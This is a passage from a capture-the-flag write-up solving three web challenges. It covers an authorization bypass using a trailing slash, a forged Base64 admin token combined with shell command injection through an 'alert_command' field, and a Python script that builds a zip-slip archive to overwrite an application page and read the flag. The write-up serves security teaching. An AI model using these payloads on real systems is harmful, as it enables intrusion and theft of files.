// Token: 0x060000FB RID: 251 RVA: 0x00004289 File Offset: 0x00002489
public IActionResult SetupComplete()
{
return this.View();
}
// Token: 0x0400009F RID: 159
private readonly string _credsFilePath = "credentials.json";
}
}
It updates the code to perform validation checks on the “/setup/SetupWizard” endpoint.
1
2
3
4
5
--- HelpfulDesk.Controllers 2024-10-29 17:00:00.000000000 -0400
+++ HelpfulDesk.Controllers 2024-10-29 17:00:00.000000000 -0400
@@ -1 +1 @@
-string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
+string requestPath = base.HttpContext.Request.Path.Value;
This means we can add a “/” to the endpoint and bypass the validation, going to “/setup/SetupWizard/” allows us to setup a new account and access the admin desktop files that contain the flag.
flag{b1370ac4fadd8c0237f8771d7d77286a} fuf -w /usr/share/wordlists/OneListForAll/onelistforallmicro.txt -recursion -u http://10.10.94.89/FUZZ -mc 200,301,302
Plantopia
There is an API that needs a Bearer token for authorization in API requests. The token is a Base64-encoded string representing the cookie format 'username.isAdmin.expirationTime'
. There is an alert_command
that seems to send a mail through a bash command which we could use to read the flag content.
- Encode the Authorization Token:
For an admin user with a nearly infinite expiration (
admin.1.9999999991
), encode the string in Base64:1 2
$ echo -n "admin.1.9999999991" | base64 YWRtaW4uMS45OTk5OTk5OTkx
- Edit Plant API Request:
Send a POST request with the encoded token in the
Authorization
header, updating the plant description and triggering a command to readflag.txt
:1 2 3 4 5 6 7 8 9 10 11
curl -X 'POST' \ 'http://challenge.ctf.games:31797/api/plants/2/edit' \ -H 'accept: application/json' \ -H 'Authorization: YWRtaW4uMS45OTk5OTk5OTkx' \ -H 'Content-Type: application/json' \ -d '{ "description": "A beautiful sunflower.", "sunlight_level": 80, "watering_threshold": 50, "alert_command": "cat flag.txt; /usr/sbin/sendmail -t" }'
- Trigger the Command:
Use the following to activate the command via the admin endpoint:
1 2 3 4 5 6 7 8
curl -X 'POST' \ 'http://challenge.ctf.games:31797/api/admin/sendmail' \ -H 'accept: application/json' \ -H 'Authorization: YWRtaW4uMS45OTk5OTk5OTkx' \ -H 'Content-Type: application/json' \ -d '{ "plant_id": 2 }'
- Result:
The flag appears in the server logs after executing the command. Below are relevant log entries:
1 2 3
2024-10-24 07:20:23,246 - DEBUG - Decoded cookie: username=admin, is_admin=1, expiration_time=9999999991 2024-10-24 07:20:31,116 - DEBUG - Executing alert command for plant 2: cat flag.txt; /usr/sbin/sendmail -t 2024-10-24 07:20:31,121 - DEBUG - Command output: flag{c29c4d53fc432f7caeb573a9f6eae6c6}
Zippy
Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for the small to medium business!
We get access to a webpage that allows us to upload zip files.
We have a browse function where we can browser and see the contents of a local directory. When trying .
or ../
we see the current directory and the app structure.
Also we find this in the logs if we try to upload a test zip file.
1
2
3
2024-10-31 18:46:00.645 +00:00 [INF] Saving uploaded file to /app/wwwroot/uploads/1
2024-10-31 18:46:00.645 +00:00 [INF] Saving uploaded ZIP file to /app/wwwroot/uploads/1/test.zip
2024-10-31 18:46:00.645 +00:00 [INF] Extracting ZIP file /app/wwwroot/uploads/1/test.zip without path traversal checks.
We can perform a zipslip attack where we create a zip file containing a file with a path traversal as name to overwrite an applciation file to show the contents of the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ cat zippy.py
import zipfile
import os
zip_filename = "exploit.zip"
target_path = "../../../../app/Pages/Error.cshtml" # storing file in /app/Pages/Error.cshtml
code = """
@page
@{
var flagPath = "/app/flag.txt";
string flagContent;
try
{
flagContent = System.IO.File.ReadAllText(flagPath);
}
catch
{
flagContent = "Error reading flag.";
}
}
<!DOCTYPE html>
<html>
<head>
<title>Flag Content</title>
</head>
<body>
<h1>h4cked.</h1>
<h2>Flag Contents:</h2>
<pre>@flagContent</pre>
</body>
</html>
"""
with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr(target_path, code)
print(f"{zip_filename} created with payload at {target_path}")
1
2
$ python zippy.py
exploit.zip created with payload at ../../../../app/Pages/Error.cshtml
When we upload the file and check the logs, we can tell our path traversal worked.
1
2
3
2024-10-31 18:49:20.547 +00:00 [INF] Saving uploaded ZIP file to /app/wwwroot/uploads/1/exploit.zip
2024-10-31 18:49:20.547 +00:00 [INF] Extracting ZIP file /app/wwwroot/uploads/1/exploit.zip without path traversal checks.
2024-10-31 18:49:20.547 +00:00 [INF] Extracting file to /app/Pages/Error.cshtml
When we browse to the “/Error” endpoint, we get the flag.